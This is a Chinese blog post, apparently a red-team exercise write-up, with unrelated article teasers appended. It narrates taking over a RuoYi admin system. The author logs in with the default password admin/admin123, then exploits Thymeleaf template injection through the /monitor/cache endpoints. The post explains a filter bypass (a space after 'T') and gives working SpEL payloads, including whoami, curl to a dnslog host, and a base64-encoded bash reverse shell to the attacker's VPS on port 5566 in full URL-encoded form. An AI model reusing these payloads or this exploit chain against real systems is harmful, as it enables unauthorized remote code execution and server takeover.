记一次攻防演练中的若依(thymeleaf 模板注入)getshell

news2024/9/21 4:34:44

记一次攻防演练中幸运的从若依弱口令到后台getshell的过程和分析。

0x01 漏洞发现

首先我会先把目标的二级域名拿去使用搜索引擎来搜索所用的搜索引擎收集到包含这个目标二级域名的三级域名或者四级域名的网站。

这样子可以快速的定位到你所要测试的漏洞资产。

1、推荐三个比较实用的搜索引擎:

奇安信-鹰图平台:https://hunter.qianxin.com/

360-quake: https://quake.360.net/

fofa: https://fofa.info/

搜索语法:domain=“二级域名”

2、通过一番搜索查找翻阅,幸运女神光顾~~~。

通过搜索引擎搜索到包含目标的二级域名找到关于目标的的一个三级域名,而且还是漏洞百出的若依系统。

经典:你若不离不弃,我必生死相依

image-20240411143521002

基于SpringBoot的权限管理系统,核心技术采用Spring、MyBatis、Shiro没有任何其它重度依赖

image-20240411143721238

0x02 漏洞分析

Thymeleaf模板注入漏洞简介

Thymeleaf模板注入形成原因,简单来说,在Thymeleaf模板文件中使用th:fragment、 , th:text 这类标签属性包含的内容会被渲染处理。并且在Thymeleaf渲染过程中使用 ${…} 或其他表达式中时内容会被Thymeleaf EL引擎执行。因此我们将攻击语句插入到 ${…} 表达式中,会触发Thymeleaf模板注入漏洞。
如果带有 @ResponseBody 注解和 @RestController 注解则不能触发模板注入漏洞。因为@ResponseBody 和 @RestController 不会进行View解析而是直接返回。所以这同样是修复方式。

漏洞点

Server-Side Template Injection简称SSTI,也就是服务器端模板注入。

我们在审计模板注入(SSTI)漏洞时,主要查看所使用的模板引擎是否有接受用户输入的地方。主要关注xxxController层代码。
在Controller层,我们关注两点:
1、URL路径可控。
2、return内容可控。
所谓可控,也就是接受输入。

1、URL路径可控

@RequestMapping("/hello")
public class HelloController {
  @RequestMapping("/whoami/{name}/{sex}")
  public String hello(@PathVariable("name") String name,
@PathVariable("sex") String sex){
    return "Hello" + name + sex;
  }
}

return内容可控

@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
  mmap.put("cacheNames", cacheService.getCacheNames());
  return prefix + "/cache::" + fragment;
}
return内容可控:
\_\_${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI
nputStream()).next()}\_\_::.x
URL路径可控:
\_\_${T(java.lang.Runtime).getRuntime().exec("touch test")}\_\_::.x

2、Ruoyi使用了thymeleaf-spring5,其中四个接口方法中设置了片段选择器:

http://xxxxxx/monitor/cache/getNames

http://xxxxxx/monitor/cache/getKeys

http://xxxxxx/monitor/cache/getValue

http://xxxxxx/demo/form/localrefresh/task

通过这四段接口,可以指定任意fragment,以/monitor/cache/getNames接口为例,controller代码如下:

@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
    mmap.put("cacheNames", cacheService.getCacheNames());
    return prefix + "/cache::" + fragment;
}

简单理解:接收到 fragment 后,在return处进行了模板路径拼接。
根据代码我们知道根路径为 /monitor/cache ,各个接口路径分别为 /getNames , /getKeys , /getValue ,请求参数均为fragment 。

这四段接口方法中,都使用了thymeleaf的语法:

"/xxx::" + fragment;

我们构造fragment的值为:

url编码:
%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%64%6e%73%6c%6f%67%30%40%22%29%7d
                    ↓
${T (java.lang.Runtime).getRuntime().exec("curl dnslog地址")}

当我们构造的模板片段被thymeleaf解析时,thymeleaf会将识别出fragment为SpringEL表达式。不管是?fragment=header(payload)还是?fragment=payload

image-20240411143949013

但是,在执行SpringEL表达式之前,thymeleaf会去检查参数值中是否使用了"T(SomeClass)“或者"new SomeClass”

image-20240411144014914

这个检查方法其实可以绕过,SpringEL表达式支持"T (SomeClass)"这样的语法,因此我们只要在T与恶意Class之间加个空格,就既可以绕过thymeleaf的检测规则,又可以执行SpringEL表达式。

因此payload中T与恶意Class之间含有空格,不论是空格或者制表符都可以绕过检测。

漏洞影响:RuoYi <= v4.7.1

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

0x03 开始战斗

1、回到之前的若依登录框,若依的管理系统肯定要试试看弱口令啦,用户admin,密码admin123。

image-20240411130206602

非常nice,弱口令yyds,登录进入若依系统后台。

image-20240411130435483

经过一番测试,后台定时任务执行不了命令,反弹shell不成功,更换了几个不同的payload都没效果,太菜了,咱也不知道为什么,其他的常见的漏洞任意文件读取、SQL注入、未授权访问啥的都没有,所以才会来测试一番Thymeleaf模板注入远程命令执行。

四个接口路径都可以访问,我们使用第一个接口路径进行测试。

/monitor/cache/getNames

/monitor/cache/getKeys

/monitor/cache/getValue

/demo/form/localrefresh/task

image-20240411130537524

2、在若依管理系统后台直接访问/monitor/cache/getNames接口路径,使用burp suite拦截访问/monitor/cache/getNames路径的数据包。

访问/monitor/cache/getNames

image-20240411143414247

使用burp suite拦截数据包

image-20240411132629456

使用burp suite上自带的编码工具,使用base64编码反弹shell命令

/bin/bash -i >& /dev/tcp/vps IP/5566 0>&1

image-20240411131819185

构造fragment的值,把上面使用base64的编码放入下面的payload编码成url编码

${T (java.lang.Runtime).getRuntime().exec("bash \-c {echo,L2Jpbi9iYXNooC1poD4moC9kZXYvdGNwL3ZwcyBJUC81NTY2oDA+JjE=}|{base64,-d}|{bash,-i}")}

image-20240411131912908

把前面拦截到的访问/monitor/cache/getNames路径的数据包更改请求方式为POST,更改完请求方式后在访问路径后面拼接上我们刚刚经过url编码构造fragment的值

image-20240411132524501

/monitor/cache/getNames?fragment=%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%62%61%73%68%a0%5c%2d%63%20%7b%65%63%68%6f%2c%4c%32%4a%70%62%69%39%69%59%58%4e%6f%6f%43%31%70%6f%44%34%6d%6f%43%39%6b%5a%58%59%76%64%47%4e%77%4c%33%5a%77%63%79%42%4a%55%43%38%31%4e%54%59%32%6f%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29%7d

3、在vps上面使用nc监听5566端口,接收反弹shell。

image-20240411132300910

把刚刚更改了请求方式为POST拼接上url编码构造fragment的值的数据包发送出去,可以发到重发器多发几遍。

image-20240411132859774

返回包返回状态200,应该是执行成功了。

image-20240411134733041

回到vps查看监听状态,nice!!!成功,拿下拿下。

image-20240411142652415

漏洞挖掘的过程中要有耐心、细心,把能试的漏洞都试一试,反正试一试又不要钱,说不定就getshell了呢。。。。。。

0x04 修复建议

把若依系统更新到最新版本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1702609.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Raven2掠夺者2渡鸦2角色创建、游戏预下载、账号怎么注册教程

《渡鸦2》&#xff08;Raven 2&#xff09;是由韩国开发的一款大型多人在线角色扮演游戏&#xff08;MMORPG&#xff09;类型的手游&#xff0c;作为前作《Raven》的续集&#xff0c;继承并发展了其黑暗奇幻世界观&#xff0c;同时在游戏设计和内容上进行了大量创新。游戏预计于…

科技引领未来:高速公路可视化

高速公路可视化监控系统利用实时视频、传感器数据和大数据分析&#xff0c;通过图扑 HT 可视化展示交通流量、车速、事故和路况信息。交通管理人员可以实时监控、快速响应突发事件&#xff0c;并优化交通信号和指挥方案。这一系统不仅提高了道路安全性和车辆通行效率&#xff0…

阿里云天池AI课程证书学习计划

即日起&#xff0c;加入天池AI课程证书学习计划&#xff0c;解锁新技能&#xff0c;领取结业证书&#xff0c;我们的每一次学习、每一次成长都值得被见证&#xff01; https://tianchi.aliyun.com/specials/promotion/AICourses

【搭建大语言模型】使用LocalGPT搭建本地大语言模型服务并实现远程访问进行交互

文章目录 前言环境准备1. localGPT部署2. 启动和使用3. 安装cpolar 内网穿透4. 创建公网地址5. 公网地址访问6. 固定公网地址 前言 本文主要介绍如何本地部署LocalGPT并实现远程访问&#xff0c;由于localGPT只能通过本地局域网IP地址端口号的形式访问&#xff0c;实现远程访问…

[Python]pyenv 环境配置

。pip install pyenv安装 / 去Git 下载pyenv版本安装 。安装好后控制台输入pyenv查看版本 。pyenv install --list列出所有pyenv可以支持的python版本 。pyenv install 3.9.7 安装指定的版本 。在pycharm里&#xff0c;可以选中项目&#xff0c;点击File-Settings&#xff0…

python实现输入圆的半径,自动计算周长与面积

新书上架~&#x1f447;全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我&#x1f446;&#xff0c;收藏下次不迷路┗|&#xff40;O′|┛ 嗷~~ 目录 一、引言 二、实现流程 1. 用户输入 2. 数据处理 3. 计算周长和面积 4. 结果展示 三、…

yarn dev启动项目时遇到的问题

用yarn dev启动项目的时候&#xff0c;遇到了如下问题&#xff1a; 这个时候&#xff0c;我们可以这样解决&#xff1a;用nvm list 看下已安装的node版本&#xff0c;用nvm use切换一下node版本&#xff0c;当然前提是你已经安装了nvm。

Windows系统使用Docker部署Focalboard团队协作工具详细流程

文章目录 前言1. 使用Docker本地部署Focalboard1.1 在Windows中安装 Docker1.2 使用Docker部署Focalboard 2. 安装Cpolar内网穿透工具3. 实现公网访问Focalboard4. 固定Focalboard公网地址 前言 本篇文章将介绍如何使用Docker本地部署Focalboard项目管理工具&#xff0c;并且结…

python核心编程(二)

python面向对象 一、基本理论二、 面向对象在python中实践2.1 如何去定义类2.2 通过类创建对象2.3 属性相关2.4 方法相关 三、python对象的生命周期,以及周期方法3.1 概念3.2 监听对象的生命周期 四、面向对象的三大特性4.1 封装4.2 继承4.2.1 概念4.2.1 目的4.2.2 分类4.2.3 t…

MongoDB数据库清理策略: 自动化过期数据删除实战

1、引言 随着应用程序和业务数据的持续增长&#xff0c;有效地管理数据库存储空间成为维护系统性能的关键。在MongoDB这类NoSQL数据库中&#xff0c;定期清理过期数据变得尤为重要&#xff0c;这不仅能释放宝贵的存储资源&#xff0c;还能优化查询性能&#xff0c;确保数据库运…

约翰·舒尔曼访谈解读:2027年AGI将成现实?

随着人工智能技术的不断进步&#xff0c;AGI&#xff08;通用人工智能&#xff09;的实现似乎不再是遥不可及的梦想。近日&#xff0c;OpenAI联合创始人兼首席架构师约翰舒尔曼&#xff08;John Schulman&#xff09;在访谈中分享了他对AI模型未来发展的看法&#xff0c;并预言…

day 4:2028. 找出缺失的观测数据

Leetcode 2028. 找出缺失的观测数据 现有一份 n m 次投掷单个** 六面** 骰子的观测数据&#xff0c;骰子的每个面从 1 到 6 编号。观测数据中缺失了 n 份&#xff0c;你手上只拿到剩余 m 次投掷的数据。幸好你有之前计算过的这 n m 次投掷数据的 平均值 。 给你一个长度为 m …

IDEA出现javax.servlet.http包错误解决方法

问题原因&#xff1a;缺少对应的jar包&#xff0c;其实tomcat服务器自带与HTTP一些相关的Jar包&#xff0c;没有导入进去。 解决方案1&#xff1a; 导入对应jar包 <dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</…

QT使用gsoap获取手机归属地

1-环境变量 用的win32 E:\hes_scc\tools\gsoap_2.8.134\gsoap-2.8\gsoap\bin\win32 2-生成代码接口 自己建一个目录&#xff0c;在此打开cmd窗口&#xff0c;生成的文件都会在这个文件夹中。 这里用的手机归宿地。 wsdl2h -o GetPhoneInfo.h -s -n Phone -t ....\typemap.…

Java(其十二)--集合·初级

ArrayList集合 集合有很多种&#xff0c;ArrayList 是最常用的一种&#xff0c;集合的作用相当于C中的STL 最显著的特点就是&#xff1a;自动扩容。 一般定义式 ArrayList list new ArrayList(); //该 list 是可以储存各种类型的数据的&#xff0c;要想约束储存的数据&#x…

安装appium自动化测试环境,我自己的版本信息

教程来自&#xff1a;Appium原理与安装 - 白月黑羽 我的软件的版本&#xff1a; 安装是选择为自己安装而不是选all user pip install appium-python-client命令在项目根目录下安装appium-python-client sdk的话最简单的安装方式就是去Android官网下一个android studio然后在…

【class17】人工智能初步-----语音识别(3)

【class16】 上节课&#xff0c;我们学习了&#xff1a;wav文件的相关概念知识&#xff0c;并通过代码从视频中获取了音频以及设置了参数。学习新的课程之前&#xff0c;我们先来复习一下吧&#xff01; 代码复习 将上节课学习的代码分为两个部分&#xff1a; part1. 获取音频…

Suricata-入门实验-快速理解suricata

实验环境&#xff1a; 主机win10 ip地址&#xff1a;192.168.121.1 虚拟机使用vm ubuntu20.04 ip地址&#xff1a;192.168.121.128 实验目标&#xff1a; 从主机 给虚拟机 发送ping 命令 虚拟机中Suricata接收到ping后发出告警信息。 正文 在前面 编译好Suricata后&#x…

PTA 计算矩阵两个对角线之和

计算一个nn矩阵两个对角线之和。 输入格式: 第一行输入一个整数n(0<n≤10)&#xff0c;第二行至第n1行&#xff0c;每行输入n个整数&#xff0c;每行第一个数前没有空格&#xff0c;每行的每个数之间各有一个空格。 输出格式: 两条对角线元素和&#xff0c;输出格式见样例…

想知道期权的交易方式有哪些吗?新手必看!

今天期权懂带你了解想知道期权的交易方式有哪些吗&#xff1f;新手必看&#xff01;期权指投资者在支付了一定的权利金之后&#xff0c;将拥有未来某个时间协定价格买入或者卖出的权利。 期权的交易策略方式有哪些&#xff1f; 买入看涨期权&#xff1a; 使用场景&#xff1a…